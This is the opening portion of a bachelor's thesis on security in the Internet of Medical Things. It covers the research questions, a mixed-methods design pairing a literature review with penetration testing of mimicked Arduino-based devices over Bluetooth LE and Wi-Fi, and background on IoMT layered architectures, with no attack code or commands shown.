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Abstract 


As the IoMT rapidly expands, severe security risks shadow its profound benefits in 
patient monitoring and data management. These devices, integral to critical care like pace- 
maker shocks and insulin dosing, often sacrifice robust security for functionality due to 
their limited capabilities. This critical vulnerability exposes them to exploits that could 
have fatal consequences. This thesis addresses these urgent security gaps by exploring in- 
novative protection strategies through systematic reviews and simulated penetration testing 
on a mimicked IoMT environment. Our findings expose pronounced deficiencies within 
existing security frameworks, focusing on Bluetooth LE and Wi-Fi threats, especially the 
inadequate mechanisms to secure Bluetooth LE connections, commonly used in IOMT 
devices and DOS attacks targeted directly to the OMT devices. In response, two novel 
security algorithms were designed to enhance the resilience of IOMT systems against cy- 
ber threats. This algorithm integrates dynamic whitelisting and blacklisting, MAC address 
verification, UDID verification, and NFC-based device authentication to curtail unautho- 
rized access and uphold data integrity. The adopted strategy not only addresses specific 
security loopholes identified during penetration testing but also establishes a framework 
capable of adapting to evolving threats. Through this research, we aim to contribute to the 
ongoing discourse on IoMT security, underscoring the critical need for continuous adapta- 
tion of security measures to protect against emerging vulnerabilities in the rapidly evolving 
landscape of IoT devices. This work aspires to lay the groundwork for future research and 
development in IoMT security strategies, fostering a deeper understanding and implemen- 


tation of adequate security measures within medical technology. 
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1 Introduction 


This is a 15 HP thesis for a bachelor’s in computer science for Linnaeus University. 


In today’s society, Internet of Things (loT) devices are increasingly prevalent in various as- 
pects of everyday life, such as homes, transportation, and healthcare. The IoT refers to devices 
powered by microchips that consume low energy and exchange data using sensors, software, 
and other technologies. Examples include smart lights, air quality monitors, pacemakers, and 
other devices. This widespread adoption has led to a significant increase in the use of such 
technologies, particularly evident in the Internet of Medical Things (loMT). The IoMT, a sub- 
set of IoT, specifically caters to medical and healthcare applications. While loT and loMT 
may be used interchangeably in some contexts, it is important to note that IOMT devices are 
distinguished by their stringent security and reliability requirements, which are crucial due to 
their role in sustaining and enhancing patients’ lives. lOMT devices enable remote monitoring, 
timely intervention, and providing faster access to patients’ current health status. According to 
a report by Fortune Business Insight, the lOMT market reached a total value of $41.17 billion in 
2020, with predictions suggesting growth to $187.60 billion by 2028, demonstrating a growth 
rate of 29.5% from 2021 to 2028. The report also highlights a substantial surge of 71.3% in 
the global IOMT market in 2020, compared to the average yearly growth from 2017 to 2019, 
underscoring the rapid expansion and importance of IoMT technologies in healthcare [I]. 

According to another report by The Brainy Insights, "various application segments, including 
*data assortment and analysis, end-to-end connectivity, real-time monitoring, remote medical 
assistance, and tracking and alerts,’ are driving market growth". The report further states that 
in 2022, the "real-time monitoring segment dominated the market with a 29.15% share and 
revenue of USD 17.94 billion, attributed to the ever-increasing adoption of cost-efficient and 
connected medical devices" [/2/]. The use of the IoT in the medical field has become widespread, 
which leads to a great benefit to the use of this technology in the field of health care. It integrates 
medical devices and applications to facilitate the medical monitoring process, and patients can 
get better health care through wearable devices with better health care at a lower cost. However, 


despite its usefulness, there are concerns related to data privacy [3]. The Internet of Medical 
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Things is critical in improving patients’ health. However, medical IoT devices still need to be 
considered more vital regarding reliability, safety, and security [4]. 

By conducting penetration and attack experiments on mimicked IoMT devices, we identify the 
weaknesses and strengths, as well as determine the strength of existing security frameworks re- 
lated to the Internet of Medical Things and confirm the vulnerabilities of these security frame- 
works. This approach helps to improve protection and prevent data breach, as well as protect 
the health of patients from any danger that may risks their lives. This thesis examines a set of 
penetration testing on Mimic IoMT devices and verifies the effectiveness of existing security 


frameworks for these devices. 


1.1 Background 


The IoMT provides many essential services to patients. It helps patients to get medical help 
anytime and anywhere they want through patient monitoring devices. It also provides ways to 
track health problems by enabling the patients to track their conditions without needing per- 
sonal medical services through heart rate or blood pressure monitors. Moreover, it helps to 
access patient data more efficiently and faster, and IOMT also improves the diagnostic process, 
allowing the doctor to diagnose better and more accurately [5]. Despite these advantages that 
IoMT offers, this technology presents excellent security and privacy challenges, especially in 
some devices, such as pacemakers, which are essential devices for patient safety. Therefore, 
strong security measures must be taken for these devices to ensure the safety and privacy of the 
patient. 

A significant concern regarding pacemakers and other interconnected medical devices is the 
potential security threats they face. There is a risk that unethical individuals could gain unau- 
thorized access to these devices or manipulate their functionality remotely, potentially leading 
to life-threatening situations. A study published in volume 116, issue 2 of the Archives of 
Cardiovascular Diseases by the French Society of Cardiology highlights the scrutiny of pace- 
makers and cardiac defibrillators for weaknesses in their cyber protection [6]. The number of 
healthcare hacking incidents by year, as shown in Figure 1./, and the number of unauthorized 
accesses by year, as shown in Figure 1.2, reflect the overall trend in data breaches in the health- 


care sector. The healthcare data breach statistics below only include data breaches of 500 or 
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more records that have been reported to the Office for Civil Rights (OCR). While the Health 
Insurance Portability and Accountability Act (HIPAA) requires all data breaches to be reported 
regardless of size, OCR does not publish details of smaller data breaches. The breaches in- 


cluded in the statistics and graphs below encompass both closed cases and breaches still under 


investigatio 


Moreover, the current state of security on the IoMT indicates the need to address these vul- 
nerabilities. 
methods, adoption of blockchain technology, and enhanced security frameworks. The mea- 


sures mentioned above aim to ensure the security of data and the uninterrupted operation of 


n by OCR for potential HIPAA violations [/7]. 


It is imperative to develop new security measures, such as more robust encryption 


these medical devices [8]. 
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Figure 1.1: Number of hacking incidents related to Healthcare 
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UNAUTHORIZED ACCESS / DISCLOSURE INCIDENTS 
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Figure 1.2: Number of unauthorized access related to Healthcare 


1.2 Related work 


The remarkable development in the IoMT highlights its importance in helping patients by im- 
proving healthcare delivery, enhancing patient monitoring, and facilitating more accurate di- 
agnoses. However, the large spread of IoMT has also led to the emergence of security vul- 
nerabilities. Research has consistently highlighted the pressing need for a dedicated security 
framework. Such a framework would aim to mitigate these vulnerabilities, explicitly tailored 
to the unique requirements of IOMT environments. 

Arsalan Mosenia delves into the security vulnerabilities and challenges the IoT faces. This 
paper is essential for understanding IoT security as it explores various attack vectors and the 
corresponding protective measures tailored to IoT environments. In contrast to the broader 
focus of this work [9]. Our research will specifically target the network layer, conducting pen- 
etration tests on a mimicked IoMT device to assess its vulnerabilities and enhance its security. 
In their paper, Sharma, Kherajani, Jain, and Patel examine security issues in the IoT, partic- 
ularly those affecting the network layer. They discuss several types of network layer attacks, 
including Man-In-The-Middle Attacks and others. Building on their work, this research specif- 
ically focuses on network layer attacks targeting IoT devices. We conduct penetration testing 


on the network layer using both Bluetooth and Wi-Fi connections [10]. Moreover, more studies 
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offer essential perspectives on the potential security challenges confronting the IoMT and an 
analysis of current security frameworks. Ahmed discussed the security challenges facing the 
IoMT, focusing on the sensitivity of health data and the need for robust security measures[1 1]. 
In addition, the survey provides a detailed examination of various security vulnerabilities in 
the IoOMT framework. Furthermore, the survey conducts a comparative assessment of different 
security approaches, assessing the effectiveness of existing solutions and their limitations [11]. 
Mahmood explores various security frameworks that are applied to IOMT. They specifically 
focus on identifying and assessing comprehensive security measures tailored for loMT envi- 
ronments. Their study contributed significantly to the field of IoMT security [12]. However, in 
our report, we experiment with threat attacks on mimic IoMT devices, and then, based on the 


results, design a security framework. 


1.3. Problem Formulation 


This study aims to understand the risks related to the IoMT and identify the attack vectors 
considered a security threat to these devices. We also conduct penetration tests on mimic 
IoMT devices to detect their vulnerabilities. This study also helps to apply existing security 
frameworks to determine their effectiveness for these attacks. Based on the results of our 
experiment, we design a security framework commensurate with these attacks to protect these 
devices and ensure the minimization of security vulnerabilities. Furthermore, this study aims 


to answer the following research questions: 


1. RQ1: "What are the primary threat vectors impacting the security of the Internet of 
Medical Things (IoMT)?" 


2. RQ2: "How do primary threat vectors impact a mimicked Internet of Medical Things 


(IoMT) device with and without implementing a security framework?” 


3. RQ3: “What strategies can be employed in the development of a novel security frame- 


work?” 
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1.4 Motivation 


The motivation for this work is to identify the primary threat vectors and conduct penetration 
testing on the security frameworks of mimicked IoMT devices to assess their vulnerability. 
Based on these tests, we develop appropriate security frameworks for loMT devices, thereby 
improving the security, privacy, and reliability of these devices. Thus, with security frameworks 
tailored to IoMT devices, it is possible to reduce security threats and unauthorized access to 
these devices, which can save lives, especially for patients using devices such as pacemakers. 

Technological developments and the constant complexity and diversity of the Internet during 
these years has affected the IoMT in terms of increasing security threats, such as ransomware 
attacks [13]. Also, technological development has led to security challenges related to the 
reliability, safety, and security of IOMT devices [4]. Existing security frameworks alone are 
insufficient to address these risks, and the new types of risks emerging on the IoT. Moreover, 
some types of security frameworks are the Industrial Internet Security Framework (IISF), and 
Internet of Things Security Framework (loTSF) which are traditional security frameworks that 


do not comprehensively address the complexities and risks related to the IoT [14]. 


1.5 Results 


The study adopts a systematic and iterative approach, primarily focusing on literature published 
between 2018 and 2024 to understand vulnerabilities and existing frameworks concerning the 
devices under investigation. In Phase 1, a systematic literature review was conducted to iden- 
tify the primary threat vectors affecting the security landscape of IoMT and precisely to de- 
termine the primary threat vectors that affect the network layer of loMT devices. In Phase 2, 
we mimicked IoMT devices. Then, based on findings from the systematic literature review, we 
conducted penetration testing on these mimicked devices using Wi-Fi and Bluetooth connec- 
tions. In Phase 3, insights gleaned from the preceding phases inform the development of a se- 
curity framework, with the adoption of IEEE 802.11 and IEEE 802.15 protocols for the security 
framework where possible. Through assessing the security of loMT devices like pacemakers, 
this study aims to raise awareness about existing vulnerabilities, advocate for patching current 
devices, and promote the adoption of best security practices in developing critical medical de- 


vices. Furthermore, the successful completion of this study could facilitate the formulation of 
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targeted policy recommendations and the innovation of educational materials to enhance the 
understanding of loMT device security among healthcare professionals, device manufacturers, 


and consumers, thereby assisting in mitigating associated risks. 


1.6 Scope and Limitations 


This study conducts penetration testing and targets specific vulnerabilities in mimic IoMT de- 
vices, and evaluate the effectiveness of chosen frameworks. Additionally, the research involves 
creating a new security framework designed to address these vulnerabilities in IOMT devices, 
utilizing relevant IEEE 802.11 and IEEE 802.15 protocols where applicable. 

However, this study faces four primary limitations. Firstly, it cannot cover all attack vectors, so 
it will utilize different standards for penetration testing: Penetration Testing Execution Standard 
(PTES) [15], NIST Special Publication 800-115 [116], Open-Source Security Testing Methodol- 
ogy Manual (OSSTMM) [17]. While we will investigate different security framework: OWASP 
for IoT [18], IISF (Industrial Internet Security Framework) [19]. Moreover, IoTSF (oT Secu- 
rity Foundation) [20]. 

Secondly, there is a shortage of actual IoOMT devices due to unavailability or funding issues. To 
address this limitation, efforts are made to replicate the devices using microchips and ensure 
similar functionality in core processes such as data collection and internet data transmission. 
Thirdly, there may be gaps in the security framework due to the inability to cover all attack 
vectors. However, using globally accepted penetration testing standards for loT devices will 
help minimize these gaps. Finally, external factors such as technological advancements, regu- 
latory changes, and emerging threats may affect the relevance and applicability of the research 


findings over time, needing continuous monitoring and adaptation of security measures. 


1.7 Target group 

The target audience for this research includes cyber-security researchers, professionals in the 
healthcare IT sector, medical device manufacturers, and policymakers involved in regulating 
IoMT technologies. By engaging with a diverse audience within the computer science commu- 
nity, the research endeavours to foster collaboration and knowledge exchange to advance the 


security posture of IoMT devices. 
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1.8 Outline 


The structure of this report is outlined as follows: Chapter 2 introduces the methodologies 
employed in this study, categorizing them into three distinct phases. Chapter 3 delivers an in- 
depth exploration of the theoretical foundations underpinning this project. Chapter 4 outlines 
the selection criteria used for both the security framework and the penetration testing standards. 
Chapter 5 discusses the implementation of the research, including attacks at the network layer, 
the tools utilized, and the deployment of the security framework. Chapter 6 presents the find- 
ings and their subsequent analysis. Chapter 7 engages in a discussion of these results. Finally, 


Chapter 8 concludes the report and outlines directions for future research. 
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2 Method 


This section outlines the methodological framework employed in this study to investigate the 


security vulnerabilities of loMT devices. 


2.1 Research Design 


This study adopted a mixed-methods approach, combining a systematic literature review with a 
mimicking case study analysis, to comprehensively address the formulated research questions. 
The decision to employ a mixed-methods design stemmed from the recognition of the need 
for both theoretical exploration and practical experimentation to gain a nuanced understand- 
ing of the complexities surrounding IoMT security [21]. By integrating theoretical insights 
from existing literature with practical insights gleaned from simulated case studies, the study 
aimed to offer a holistic perspective on IoMT security vulnerabilities and mitigation strategies. 
The systematic literature review served as the foundational component of the research design, 
enabling the identification and synthesis of existing knowledge on IoMT security threats. By 
meticulously reviewing scholarly publications from reputable databases, the study sought to 
elucidate primary threat vectors impacting IoMT devices, thereby laying the groundwork for 
subsequent empirical investigations [22]. However, it is important to acknowledge the inher- 
ent limitations of relying solely on secondary sources, such as potential biases in the selected 
literature and gaps in coverage, which may have influenced the comprehensiveness of the find- 
ings. In parallel, the mimicked case study analysis provided a practical lens through which to 
examine IoMT security vulnerabilities in a controlled environment. By mimicking IoMT de- 
vices and conducting penetration testing, the study aimed to assess the effectiveness of existing 
security frameworks and identify areas for improvement. While the simulated approach miti- 
gated ethical concerns associated with experimenting on real IoMT devices, it also introduced 


limitations, such as the potential lack of fidelity in replicating real-world scenarios. 
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2.2 Phase 1 :Systematic Literature Review 
2.2.1 Data Collection 


In undertaking Research Question 1 (RQ1), a systematic literature review was employed to 
discern primary threat vectors impinging upon the security landscape of the IOMT. The search 
strategy encompassed reputable databases including IEEE Xplore, ScienceDirect, Research- 
Gate, and the ACM Digital Library, facilitating a comprehensive exploration of scholarly dis- 
course spanning from 2018 to 2024 see in Table 2.1. However, despite the meticulous selection 
of databases, the scope of the review may have been constrained by the exclusion of potentially 


relevant sources not indexed within these platforms. 


Table 2.1: Search Strings Used in Various Databases 


Database Search String 


TEEE Explore | ("Document Title":"IoOMT" OR "Full Text Only":"IoMT se- 
curity") AND ("Publication Year":[2018 TO 2024]) 
ScienceDirect | ("Title":"IoMT" AND "Full Text":"threat vectors") AND 
("Publication Date":[01/01/2018 TO 04/01/2024}) 
ResearchGate | ("Full Text":"Internet of Medical Things" AND "Full 
Text":"cybersecurity") AND ("Year":[2018 TO 2024]) 


ACM_ Digital | ("Title":"Internet of Medical Things" AND "Full 
Library Text":"security threats") AND ("Publication 
Date":[01/01/2018 TO 04/01/2024}) 


The search strings deployed in the database queries are carefully crafted to capture perti- 
nent publications elucidating IoMT security threats. While efforts are made to optimize the 
search strings for each database, variations in indexing practices and terminology across plat- 
forms may have introduced inconsistencies or overlooked relevant literature. Additionally, the 
temporal scope of the review, spanning from 2018 to 2024, may have inadvertently excluded 
earlier seminal works or emerging trends that could have enriched the analysis [23]. Through- 
out the data collection process, critical appraisal of retrieved literature was paramount to ensure 


the selection of high-quality and relevant sources. However, despite endeavors to uphold rigor- 
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ous methodological standards, subjective biases in article selection or interpretation may have 
influenced the inclusivity and representativeness of the review. Furthermore, the reliance on 
published literature inherently entails the risk of publication bias, whereby studies reporting 
significant findings are more likely to be published, potentially skewing the overall understand- 


ing of IoMT security threats. 


2.2.2 Data Analysis 


In the phase of data analysis, a rigorous examination was conducted on all collected literature 
to discern primary threat vectors impacting the network layer of loMT devices. The aim was 
to categorize the identified threats based on the types of connections utilized by IoMT devices, 
with a primary focus on Wi-Fi and Bluetooth protocols. However, despite efforts to catego- 
rize threats systematically, challenges arose in delineating clear distinctions between different 
types of threats, particularly in cases where vulnerabilities spanned multiple connection types 
or manifested in complex, multifaceted ways [24]. While the analysis yielded valuable insights 
into the evolving landscape of IoMT security threats, it was imperative to approach the findings 
with a critical lens. The diversity and complexity of threats identified underscored the mul- 
tifaceted nature of IoMT security challenges, highlighting the need for holistic and adaptive 
security measures. However, the analysis may have been limited by the availability and quality 
of literature, as well as the inherent biases in published research. Additionally, the dynamic 
nature of IoMT technologies and security threats necessitated continuous monitoring and adap- 
tation to effectively address emerging risks [25]. Despite these challenges, the data analysis 
phase served as a crucial step in elucidating the overarching patterns and trends in IoMT se- 
curity threats. By categorizing threats according to connection types, the analysis facilitated a 
nuanced understanding of the specific vulnerabilities inherent in Wi-Fi and Bluetooth-enabled 
IoMT devices [26]. This nuanced understanding laid the groundwork for developing targeted 
mitigation strategies tailored to the unique characteristics of each connection type. However, it 
is essential to acknowledge the limitations of the analysis and the need for ongoing refinement 


and validation of the findings through empirical experimentation and real-world validation. 
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2.3. Phase 2: Simulated Case Study Analysis 
2.3.1 Mimicking of IoMT Devices 


In response to ethical considerations and funding constraints, the decision made to conduct 
penetration testing on mimic IoMT devices rather than real ones. While this approach aimed 
to mitigate potential risks associated with experimenting on actual medical devices, it intro- 
duced certain limitations that warranted critical evaluation. Mimic IoMT devices, although 
designed to mimic real-world counterparts, inherently lack the complexity and fidelity of gen- 
uine medical devices, potentially compromising the ecological validity of the findings [27]. 
Furthermore, the efficacy of security measures implemented on mimic devices may not accu- 
rately reflect real-world scenarios, as the intricacies of device operation and interaction with 
external systems may not fully replicated. 

Despite these limitations, the use of mimic IoMT devices offered practical advantages, includ- 
ing cost-effectiveness and ethical compliance. By utilizing mimicking devices, researchers able 
to conduct penetration testing in a controlled environment without exposing patients or health- 
care systems to potential harm. Additionally, the flexibility afforded by mimicking allowed for 
the exploration of a wide range of attack scenarios and the testing of various security frame- 
works without the constraints imposed by hardware limitations or regulatory considerations 
[28]. However, it is crucial to acknowledge the inherent trade-offs associated with mimicking- 
based approaches. While mimicked IoMT devices provide valuable insights into security vul- 
nerabilities and mitigation strategies, the extrapolation of findings to real-world contexts re- 
quires careful consideration. The degree to which simulated findings align with actual device 
behavior and response to cyber threats remains a subject of ongoing scrutiny and validation. 
Thus, while mimicking offers a pragmatic solution to ethical and practical challenges, its lim- 
itations underscore the importance of complementing mimic experimentation with empirical 


validation and real-world testing wherever possible. 


2.3.2 Penetration Testing 


In accordance with the findings gleaned from the literature review, penetration testing con- 
ducted on mimic IoMT devices. This phase aimed to solve (RQ2) and to assess the vulnera- 


bility of IOMT devices to cyber threats by mimicking various attack vectors identified in the 
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literature [29]. However, while the testing phase utilized established standards such as the 
Penetration Testing Execution Standard (PTES), OWASP for IoT, NIST Special Publication 
800-115, and the Open-Source Security Testing Methodology Manual (OSSTMM), challenges 
emerged in accurately replicating real-world attack scenarios within the mimic environment. 
The fidelity of mimicking attacks may have compromised by discrepancies between mim- 
icking and actual IoMT device behaviors, potentially skewing the assessment of device vul- 
nerability. Despite these challenges, penetration testing provided valuable insights into the 
security posture of IoMT devices and identified potential weaknesses that warrant further at- 
tention by systematically probing mimic devices with known attack vectors, researchersable 
vulnerabilities that may have otherwise gone unnoticed were uncovered.. However, the effi- 
cacy of identified security measures and mitigation strategies must be interpreted cautiously, 
as mimicked testing may not fully capture the complexities of real-world threats and defenses. 
Moreover, the scope of penetration testing may have limited by the comprehensiveness of the 
literature review and the availability of mimic IoMT devices. Certain attack vectors or device 
configurations may not have been adequately represented in the testing environment, poten- 
tially skewing the assessment of overall device security [30]. Moreover, the dynamic landscape 
of cyber threats demands ongoing monitoring and adaptation of security measures to effectively 
mitigate emerging risks. Thus, while penetration testing offered valuable insights into lbMT 
security vulnerabilities, its findings must be interpreted in conjunction with empirical evidence 


and real-world validation to ensure their applicability and relevance. 


2.3.3 Data Interception System Architecture 


We examine two scenarios highlighting the potential risks and vulnerabilities in designing a 
data interception system architecture. Case One: Bluetooth Data Interception scenario in- 
volves a hacker using Kali Linux with an Ubertooth One to intercept sensitive data commu- 
nicated via Bluetooth. In this case, the hacker impersonates another mimicked IoMT device, 
the Arduino Nano 33 BLE, which is connected to a Mac and intended to send data to a mo- 
bile phone. This example draws attention to the vulnerabilities of Bluetooth data transmission. 
Case Two: Wi-Fi Data Interception In this scenario, a hacker leverages Kali Linux’s capabil- 


ities to intercept sensitive data transmitted over Wi-Fi. Utilizing an Asus USB-AC56 adapter, 
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the hacker impersonates a mimic IoMT device, the Arduino Uno Rev2 Wi-Fi connected to a 
Mac computer. This mimicked IoMT device is designed to send data to the cloud. The vulner- 
ability exploited here underscores the security risks associated with Wi-Fi data transmission. 
These cases demonstrate critical security vulnerabilities in transmitting sensitive data through 


standard wireless technologies. see Figure 2.1. 
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Figure 2.1: Data Interception System Architecture 
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2.4 Phase 3: Development of Security Strategy 
2.4.1 Analysis of Penetration Test Results 


Following the conclusion of the penetration testing phase, the subsequent analysis aimed to 
discern the outcomes of the simulated attacks and identify prevalent vulnerabilities within the 
mimic IoMT devices. However, while the analysis sought to provide insights into the effec- 
tiveness of security measures and mitigation strategies, inherent limitations in the simulated 
environment may have influenced the interpretation of results. The fidelity of attack simu- 
lations and the realism of device responses may have compromised, potentially skewing the 
assessment of device vulnerabilities and security posture [31]. Despite these challenges, the 
analysis of penetration test results yielded valuable insights into the specific attack vectors that 
posed the greatest threat to IOMT device security. By identifying successful attack vectors, re- 
searchers would be able to pinpoint areas of weakness within the mimic devices and prioritize 
remediation efforts accordingly. However, it is essential to exercise caution in extrapolating 
findings to real-world scenarios, as the nuances of actual device behavior and response to cyber 
threats may differ from those observed in the simulated environment. Furthermore, the analysis 
of penetration test results may have influenced by the comprehensiveness of the attack scenar- 
ios mimicked during testing. Certain attack vectors or device configurations may not have been 
adequately represented, potentially leading to an incomplete understanding of overall device 
vulnerability. Additionally, the dynamic nature of cyber threats necessitates continuous mon- 
itoring and adaptation of security measures to effectively mitigate emerging risks [32]. Thus, 
while the analysis provided valuable insights into IoMT security vulnerabilities, its findings 
must be interpreted within the context of the simulated environment and complemented by 


empirical validation in real-world settings 


2.4.2 Designing a Security Algorithm In Pseudo-code 


Instead of crafting a comprehensive security framework, the research devised an algorithm 
informed by the identified vulnerabilities and insights from the Systematic literature review. 
However, while this approach aimed to fulfill (RQ3) and offer basic guidelines for enhanc- 
ing the security posture of IoMT devices, certain limitations necessitated critical scrutiny. The 


algorithm’s simplicity may have inherently constrained its effectiveness in addressing the mul- 
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tifaceted nature of IoMT security threats. By oversimplifying the complexity of lIOMT device 
vulnerabilities and mitigation strategies, the algorithm may have failed to account for nuanced 
attack scenarios and emerging threats adequately [33]. Despite these limitations, the design 
of the algorithm provided a foundational framework for addressing identified vulnerabilities 
and enhancing IoMT device security. By delineating basic decision-making rules based on 
known vulnerabilities, the algorithm served as a starting point for developing more robust se- 
curity protocols. However, the absence of comprehensive validation and refinement may have 
compromised its applicability and efficacy in real-world settings. Moreover, the static nature 
of the algorithm may have limited its adaptability to evolving cyber threats and technological 
advancements, underscoring the need for continuous iteration and adaptation to maintain rele- 
vance over time. Furthermore, the algorithm’s effectiveness may have been contingent upon the 
comprehensiveness and accuracy of the Systematic literature review findings. In cases where 
certain vulnerabilities were overlooked or inadequately addressed, the algorithm’s ability to 
mitigate IoMT security threats may have compromised. Additionally, the algorithm’s reliance 
on static decision-making rules may have hindered its ability to adapt to dynamic attack vec- 
tors and evolving device configurations [34]. Thus, while the algorithm provided a rudimentary 
framework for enhancing IoMT device security, its limitations underscored the need for com- 
plementary approaches and ongoing refinement to mitigate emerging cyber threats effectively. 
However, the design will be clear and straightforward. Therefore, the security algorithm out- 
lined using pseudo-code. This approach ensures the algorithm is easily understandable and 


accessible for replication and analysis. 


2.5 Reliability and Validity 


In maintaining methodological rigor, meticulous efforts were made to uphold the reliability and 
validity of the research findings. Adherence to established research methodologies served as 
a cornerstone of the research process, providing a robust data collection, analysis, and inter- 
pretation framework. However, while adherence to established methodologies helped mitigate 
potential sources of bias and error, certain limitations persisted, necessitating critical evalu- 
ation. Variations in research methodologies across different phases of the study may have 


introduced inconsistencies or discrepancies in data collection and analysis, potentially impact- 
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ing the overall reliability of the findings [35]. Transparent reporting of methods and results 
was pivotal in enhancing the credibility and trustworthiness of the research outcomes. By 
providing comprehensive documentation of research procedures, data sources, and analytical 
techniques, transparency facilitated external stakeholders’ replication and validation of find- 
ings. However, despite efforts to ensure transparency, the complexity of the research process 
and the multiplicity of data sources may have posed challenges in achieving complete clarity 
and comprehensibility. Ambiguities in reporting or interpretation may have compromised the 
overall rigor of the research outcomes. 

Seeking peer review constituted another critical component of ensuring methodological rigor. 
By subjecting the research methodology, findings, and conclusions to scrutiny by qualified 
peers, the study aimed to validate its approach’s robustness and enhance its findings’ credibil- 
ity. However, the availability of peer reviewers with expertise in the specific domain of lOMT 
security may have been limited, potentially constraining the breadth and depth of feedback re- 
ceived [36]. Moreover, the subjective nature of peer review introduces the possibility of bias 
or oversight, highlighting the importance of incorporating diverse perspectives and engaging in 


constructive dialogue to strengthen methodological rigor. 


2.6 Ethical considerations 


The choice to utilize mimicked IoMT devices instead of real ones stemmed from ethical im- 
peratives, driven by the aim to safeguard patients from potential harm and adhere to ethical 
guidelines governing medical research. While this decision mitigated the risks associated with 
experimenting on actual medical devices, it also introduced certain limitations that necessi- 
tated critical examination. Mimicked IoMT devices, although designed to replicate real-world 
counterparts, inherently lacked the complexity and fidelity of genuine medical devices. As a 
result, the ecological validity of findings derived from simulated experimentation may have 
been compromised, raising questions about the generalizability and applicability of research 
outcomes to real-world contexts [37]. Furthermore, ethical implications were meticulously 
considered throughout the study to uphold the integrity of the research process. While the use 
of mimicked IoMT devices helped minimize ethical concerns related to patient safety and con- 


sent, ethical considerations extended beyond device simulation to encompass all aspects of the 
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research endeavor. This included ensuring the confidentiality and privacy of patient data, ob- 
taining informed consent from participants where applicable, and adhering to ethical guidelines 
outlined by relevant regulatory bodies. However, despite efforts to navigate ethical complex- 
ities, challenges persisted in balancing the imperatives of scientific inquiry with the need to 


protect human subjects and uphold ethical standards. 


2.7 Limitations in Addressing Methodological Constraints 


The study acknowledged several methodological constraints that could have influenced the ro- 
bustness and generalizability of its findings. One significant limitation was the inability to cover 
all possible attack vectors due to the complexity and diversity of cyber threats facing loMT de- 
vices. Despite utilizing established penetration testing standards, such as PTES and OWASP 
for IoT, certain attack vectors may have been overlooked, potentially compromising the com- 
prehensiveness of the assessment. Additionally, constraints in replicating IOMT devices posed 
challenges in creating a fully representative testing environment. The use of mimicked devices, 
while pragmatic for ethical compliance, may have introduced discrepancies in device behav- 
ior and response to cyber threats, limiting the extrapolation of findings to real-world scenar- 
ios. Furthermore, potential gaps in the security framework employed for testing lIoMT devices 
underscored the need for cautious interpretation of results [37]. While efforts were made to 
implement robust security measures, such as encryption methods and access controls, inherent 
vulnerabilities may have persisted due to the evolving nature of cyber threats and technological 
advancements. Moreover, external factors such as technological developments and regulatory 
changes could impact the relevance and applicability of research findings over time. As such, 
the study’s findings may have limited longevity and may require continual reassessment and 
adaptation to remain pertinent in the rapidly evolving landscape of IoMT security. 

The study implemented careful methodological planning and transparent reporting practices to 
mitigate these limitations. By adhering to established penetration testing standards and docu- 
menting research procedures rigorously, the study aimed to enhance the credibility and trust- 
worthiness of its findings. Additionally, transparent reporting of methodological constraints 
and limitations provided stakeholders with a clear understanding of the study’s scope and po- 


tential implications. However, despite these efforts, the inherent constraints of the research 
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design necessitated cautious interpretation of results and acknowledgment of potential biases 


and limitations in the study’s conclusions. 
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3 Theoretical Background 


This section provides an in-depth exploration of the fundamental concepts and frameworks 
relevant to the security of IoMT devices, including their architecture, common vulnerabilities, 


and existing security measures. 


3.1 Internet of Medical Things 


The IoMT represents a specialized subset within the broader IoT landscape. It encompasses 
interconnected medical devices and applications that facilitate collecting, transmitting, and an- 
alyzing health-related data. IoMT devices are uniquely tailored to cater to the specific neces- 
sities of the healthcare sector, offering capabilities ranging from remote patient monitoring to 
predictive analytics. However, while IoMT shares foundational principles with traditional IloT 
systems, its distinct focus on healthcare introduces unique considerations and challenges [38]. 
One key distinction between IoMT and conventional IoT is the data they handle and manage. 
While IoT devices across various domains primarily deal with general-purpose data related to 
environmental conditions, consumer preferences, or industrial processes, IOMT devices are en- 
trusted with sensitive and often life-critical health information. This fundamental difference 
necessitates a heightened emphasis on data security, privacy, and regulatory compliance within 
the IoOMT ecosystem. Unlike data breaches in conventional IoT applications, which may lead 
to financial losses or inconvenience, security lapses in IOMT can directly impact patient safety 
and trust in healthcare systems [39]. 

Furthermore, IoMT devices serve mission-critical roles in healthcare delivery, with implica- 
tions extending beyond convenience to directly influencing medical decision-making and pa- 
tient outcomes. Unlike consumer-oriented IoT gadgets, the failure of an IOMT device or the 
compromise of its data integrity can have far-reaching consequences, including misdiagnoses, 
treatment errors, or delays in care delivery [40]. Thus, while IoMT and IoT share underlying 
principles of connectivity and data exchange, healthcare stakes are markedly higher, necessi- 
tating robust security measures and stringent regulatory oversight. Moreover, lIoMT devices 
are subject to a unique set of regulatory and compliance requirements compared to their IoT 


counterparts. Healthcare regulations, such as (HIPAA) in the United States or the (GDPR) in 
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the European Union, impose stringent obligations on the handling and protection of patient 
health information [41]. Compliance with these regulations complicates IOMT development 
and deployment, requiring meticulous attention to security architecture, data encryption, and 


access controls.See to Figure 3.1 shows the growing significance and widespread adoption of 


IoMT devices. 
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Figure 3.1: IoT in the healthcare 
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3.1.1 Architecture 


Layered architectures are fundamental frameworks for organizing the complex interactions and 
functionalities of lOMT devices. These structures delineate distinct layers of functionality, each 
responsible for specific tasks within the lOMT ecosystem. However, while layered architectures 
provide a systematic approach to understanding and designing IoMT systems, they also intro- 
duce challenges related to scalability, interoperability, and security[43]. 

The three-layer architecture is one of the most commonly employed models in IOMT systems. 
It consists of three primary layers: perception, network, and application. This simplified archi- 
tecture clearly delineates responsibilities, with the perception layer focusing on data collection 
through sensors, the network layer managing data transmission and communication protocols, 
and the application layer handling data processing and user interface functionalities [44]. While 
the three-layer architecture provides a straightforward framework for IOMT development, its 
simplicity may limit scalability and adaptability to complex healthcare environments. 

In contrast, the four-layer architecture expands upon the three-layer model by introducing an 
additional service layer between the application and network layers. This service layer is re- 
sponsible for mediating interactions between applications and underlying network services, 
facilitating authentication, access control, and data transformation [45]. While the four-layer 
architecture offers enhanced flexibility and extensibility compared to its three-layer counter- 
part, it also introduces increased complexity, potentially complicating system design and man- 
agement. 

Similarly, the five-layer architecture refines the IOMT framework by introducing additional 
layers such as device, transport, data, model, and service. This comprehensive model aims 
to provide a holistic view of IoMT systems, incorporating elements such as device manage- 
ment, data modeling, and service orchestration 46]. However, the increased granularity of the 
five-layer architecture may lead to more significant implementation challenges, including inter- 
operability issues between disparate layers and the need for specialized expertise in managing 


complex IoMT ecosystems. 
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3.1.2.1 Three-layer architecture 


The three-layer architecture forms the backbone of many IoMT systems, providing a simplified 
yet effective framework for organizing device functionalities and data flow. At its core, the 
